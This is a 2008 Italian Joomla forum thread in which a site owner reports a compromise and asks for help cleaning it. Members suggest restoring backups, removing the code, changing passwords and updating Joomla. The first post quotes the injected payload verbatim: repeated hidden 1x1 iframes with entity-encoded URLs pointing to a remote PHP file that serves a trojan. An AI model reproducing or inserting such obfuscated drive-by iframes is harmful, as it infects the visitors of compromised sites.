Back to top

rss feed
« precedente successivo »
Pagine: [1]   Vai giù

Autore Topic: Carneade: cdpuvbhfzz.com!  (Letto 2509 volte)

Offline primomare

  • Nuovo arrivato
  • *
  • Post: 17
  • Sesso: Maschio
    • Mostra profilo
Carneade: cdpuvbhfzz.com!
« il: 09 Apr 2008, 22:10:28 »
Salve a tutti!
Sicuramente sono stato hakerato!
Sulla versione 1.0.15 oggi verso le 17.45 mi si sono scricchiate tutte le pagine del sito oltre la gallery su coppermine e il forum in phpbb.
All'inizio del codice mi ritrovo:

<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

facendomi scaricare necessariamente il seguente troiano:
http://cdpuvbhfzz.com/dl/adu598.php

Che fare...aiutatemi voi ..ho tutto offline!
Connesso

Offline primomare

  • Nuovo arrivato
  • *
  • Post: 17
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #1 il: 10 Apr 2008, 09:29:46 »
Ragazzi non vi affrettate.... >:( azzo!

Joomla mi sa tanto che fa acqua da tutti i lati.....o è già affondata---
Connesso

Offline Kriss

  • Team Joomla.it
  • Abituale
  • *******
  • Post: 1763
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #2 il: 10 Apr 2008, 09:52:14 »
Ciao, hai un backup precedente per ripristinare tutto (compreso il db)? altrimenti puoi provare ad aprire i file del sito e controllare se trovi quell'iframe, cancellandolo...

Contatta anche il tuo servizio di hosting e avvisalo del misfatto
Connesso
Ehi, l'email è solo per salutarmi!

Offline honey82

  • Nuovo arrivato
  • *
  • Post: 8
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #3 il: 10 Apr 2008, 20:54:22 »
Io ho risolto scaricando il sito in locale e utilizzando il programma alias find and replace per eliminare il codice malicious. Successivamente ho effettualo l'upload sul server, cambiato la password per l'ftp e aggiornato la versione di joomla. Ah fai una bella scansione sul tuo pc per verificare che nn sia stato infettato prima di fare quanto ho suggerito.
Spero di esserti stato d'aiuto.
Connesso

Offline primomare

  • Nuovo arrivato
  • *
  • Post: 17
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #4 il: 11 Apr 2008, 09:01:16 »
Innanzitutto grazie per la solidarietà e per la risposta!
Ho proveduto a togliere il sito poichè infettava anche i pc degli utenti....e onestamente non vorrei essere querelato...
Andiamo al danno!

Sulla directory principale non riesco a trovare un file che corronpe le pagine e inserisce iframe soprascritto.

Ho scaricato "find and replace" per eliminare il codice...ma forse non lo so fare funzionare ho provato ma l'ìframe rimane.

Che fare?
« Ultima modifica: 11 Apr 2008, 09:05:29 da primomare »
Connesso

Offline Kriss

  • Team Joomla.it
  • Abituale
  • *******
  • Post: 1763
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #5 il: 11 Apr 2008, 09:31:09 »
Ciao, possibile che l'iframe si trovi nei file index, annidato al loro interno. Tuttavia se hai un backup "pulito" dovresti cercare di ricaricare quello!
Connesso
Ehi, l'email è solo per salutarmi!

Offline primomare

  • Nuovo arrivato
  • *
  • Post: 17
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #6 il: 12 Apr 2008, 10:58:19 »
Allora...
nonmi trovo purtroppo un file di backup.
Ho provato a sovrascrivere i file presenti nella directory principale (index.php, config...ecc) ma nulla il problema resta.

Mi chiedo allora..
Se reistallo tutto il pacchetto 1.0.15b rispettando ovviamente i parametri del database e non sovrascrivendolo riesco a ritornare al portale con i suoi articoli? Eventualmente riprenderei soltano i collagamenti alle immagini e ai contenuti swf.

Che ne dite?
Connesso

Offline primomare

  • Nuovo arrivato
  • *
  • Post: 17
  • Sesso: Maschio
    • Mostra profilo
Re: Carneade: cdpuvbhfzz.com!
« Risposta #7 il: 13 Apr 2008, 19:57:57 »
No buono!

Mi sa tanto che risiede nel database! Sono inguaiato! HELPME!
Connesso

castosistemi

  • Visitatore
Re: Carneade: cdpuvbhfzz.com!
« Risposta #8 il: 14 Apr 2008, 10:09:21 »
anche io ho lo stesso problema il dominio dove risiende il mio spazio web joomlahost
Connesso
Pagine: [1]   Vai su
« precedente successivo »
 



Web Design Bolzano Kreatif


Copyleft: Tutto il materiale pubblicato o comunque presente all'interno del sito www.joomla.it
può essere utilizzato, diffuso e modificato liberamente.
Hosting fornito gratuitamente da Joomlahost.it
Disegno web da kreatif multimedia srl